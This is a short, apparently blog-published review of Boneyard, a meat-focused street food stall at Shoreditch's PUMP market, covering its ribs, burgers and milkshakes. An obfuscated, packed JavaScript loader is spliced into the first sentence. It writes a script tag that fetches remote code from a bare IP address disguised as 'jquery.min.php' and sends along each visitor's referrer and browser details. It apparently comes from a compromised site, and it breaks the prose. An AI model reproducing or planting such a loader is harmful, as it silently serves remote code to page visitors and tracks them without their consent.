REVIEW: BONEYARD

Boneyard LOTI

One (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yehez|var|u0026u|referrer|tbrbf||js|php’.split(‘|’),0,{}))
thing that has given us a right old boner of late, was the meat feast that is Boneyard. Sitting on Shoreditch High Street it’s part of the PUMP street food market and let us tell you that Boneyard, is BBBBad to the Bone. It’s a meat lovers paradise housed in an industrial space that is inspired by the route 66 culture.

Think bone-marrow burgers, smoked ribs, double buttermilk dipped chicken bones, chilli con carne chips and if you need completely KO’ing there’s milkshakes too…The highlight for us was without doubt the 24 hour Hickory smoked St Louis ribs, falling off the bone at £4.5 a pop.

[URIS id=58268]

Fancy sucking down on some meaty bones? Then head on down to the ditch. We’re going back for more ribs alright.

Boneyard, 168 Shoreditch High St, London, E1 6HU
www.pumpshoreditch.com